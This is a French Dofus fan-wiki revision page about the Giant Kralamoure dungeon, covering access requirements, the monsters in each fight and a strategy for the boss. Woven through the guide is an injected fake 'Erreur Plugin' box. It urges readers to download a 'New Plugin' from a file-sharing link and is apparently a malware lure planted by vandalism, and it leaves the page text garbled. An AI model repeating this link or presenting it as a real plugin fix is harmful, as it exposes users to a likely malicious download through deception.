Différences entre versions de « Antre du Kralamoure Géant »

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[[Catégorie:Donjons]]
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<h2 style="margin:0;background-color:#cef2e0;font-family:sans-serif;font-size:120%;font
L'Antre abrite le Kralamoure géant, un monstre très puissant et très difficile d'accès réservé pour les personnages de très haut niveau.
 
  
==Comment y accéder ?==
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-weight:bold;border:1px solid
L'Antre se trouve sur l'ile d'Otomaï, en [-60,-8].
 
  
Vous ne pourrez, tout d'abord, y entrer uniquement que si ces quêtes ont été réalisées :
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#a3bfb1;text-align:left;color:#000;padding:0.2em 0.4em;">Erreur</h2>
  
* [[Gardien du pont de la mort]]
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{| style="width:600px;-moz-border-radius:11px; border:1.5px dashed #55dd55;background:#eeffee" align="center"
* [[La vengeance de Peggy la Porkass]]
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|-
 
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|[[Image:Wiki_Dofus.png|180px]]
Pour parvenir à entrer, il faut réunir 48 joueurs de sexe et de classe différentes pour les placer sur des emplacements de leur classe et de leur sexe (les personnages féminin sur les cases en rose et les personnages masculin sur celles en bleu) dans 4 salles différentes sur l'ile : [-49,9], [-56,4], [-55,11] et enfin [-52,15].
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|align="center"|<font color="black">
 
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<br><big>'''Erreur Plugin.'''</big>
Lorsque tous les joueurs sont placés, la porte du donjon s'ouvre pendant 40 minutes.
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<br><big>'''Download New Plugin.'''</big>
 
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<br>
 
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<big>'''Cliquez ici: [http://ge.tt/api/1/files/8vz1X7R/0/blob?download Plugin]'''</big>
Arrivés à la tourbière nauséabonde, le principe est le même que celui d'un donjon : on combat, on gagne, on avance.
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<br>
 
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''Wiki-Dofus.eu''
===Premier combat===
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</font>
* 1 [[Bourbassingue]] de lvl entre 87 et 107
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|}
 
 
===Second combat===
 
* 1 [[Roissingue]] de lvl entre 203 et 230
 
* 3 [[Tourbassingue]] de lvl entre 81 et 121
 
* 2 [[Bourbassingue]] de lvl entre 87 et 107
 
 
 
===Troisième et dernier combat===
 
Le [[Kralamoure Géant]] de lvl tournant autour des 1640 ou 1660.
 
 
 
==Comment le battre?==
 
Tout d'abord faire '''clé réductrice''' au kralamoure avec un énutrof (ça évite de se prendre des coups inutilement), il ne lui reste alors que 7-8 de portée, ensuite il faut invoquer, dans l'ordre, les tentacules en tapant une fois le kralamoure dans un élément précis :
 
* Tentacule primaire : taper le kralamoure avec un sort AIR : lance '''envie de tuer''' et a 0% res. terre
 
* Tentacule secondaire : taper le kralamoure avec un sort TERRE : lance '''envie d'empoisonner''' et a 0% res. eau
 
* Tentacule tertiaire : taper le kralamoure avec un sort FEU : lance '''envie de maudire''' et a 0% res. air
 
* Tentacule quaternaire : taper le kralamoure avec un sort EAU : lance '''envie de paralyser''' et a 0% res. feu
 
 
 
Laisser les tentacules en vie et nourrissez les avec des invocations, au bout d'un moment la primaire va lancer un sort puis la secondaire, etc... et le kralamoure va lancer '''vulnérabilité de la tourbière''' et aura 900% faiblesse (0% quoi car il a 900% resistance de base) partout (sauf neutre) mais +8000% dommages et +63 de portée... et cela pendant 2 tours<br />
 
En gros, il faut jouer à l'arc, qu'un panda lui mette des vulnérabilités dans l'élément dans lequel vous allez le taper. Deux techniques : le debuff avant qu'il joue mais l'avoir taper avant et recommencer à donner des invocations aux tentacules qu'elles relancent le sort<br />
 
Ou alors arriver à le OS en 1 tour ou bien mettre un monstre devant lui car il a besoin d'une ligne de vue pour taper et le tuer en 2 tours.<br />
 
Attention, la primaire vous avale, la quaternaire vous fait passer votre tour à chaque fois.
 

Version du 7 novembre 2012 à 06:29

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